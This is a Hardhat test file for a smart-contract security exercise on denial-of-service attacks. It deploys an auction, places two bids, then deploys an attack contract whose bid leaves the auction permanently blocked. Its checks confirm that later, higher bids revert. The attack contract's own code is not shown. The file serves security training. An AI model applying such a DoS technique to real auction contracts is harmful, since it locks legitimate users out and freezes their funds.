3-dos-2.ts

import { parse } from "path";

import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
import { expect } from "chai";
import { ethers } from "hardhat";

import { FlashLoanUser, TokenSale, Auction, ShibaPool, ShibaToken } from '../typechain-types';

const { deployContract, getSigners, parseEther } = ethers;

describe("DOS Attacks Exercise 2", () => {
  let deployer: SignerWithAddress;
  let user1: SignerWithAddress;
  let user2: SignerWithAddress;
  let attacker: SignerWithAddress;

  const USER1_FIRST_BID = parseEther('5');
  const USER2_FIRST_BID = parseEther('6.5');

  let auction: Auction;

  before(async () => {
    [deployer, user1, user2, attacker] = await getSigners();
    auction = await deployContract('Auction');

    // Invest
    await auction.connect(user1).bid({ value: USER1_FIRST_BID });
    await auction.connect(user2).bid({ value: USER2_FIRST_BID });

    expect(await auction.highestBid()).equals(USER2_FIRST_BID);
    expect(await auction.currentLeader()).equals(user2.address);
  });

  it('Exploit', async () => {
    let currentHighestBid: bigint = await auction.highestBid();
    const attackAuction = await deployContract('AttackAuction', [auction.target], {
      value: currentHighestBid + parseEther('0.00000001')
    });
  });

  after(async () => {
    let highestBid = await auction.highestBid();

    // Even though User1 bids highestBid * 3, transaction is reverted
    await expect(auction.connect(user1).bid({ value: highestBid * 3n })).to.be.reverted;

    // User1 and User2 are not currentLeader
    expect(await auction.currentLeader()).to.not.equal(user1.address);
    expect(await auction.currentLeader()).to.not.equal(user2.address);
  });
});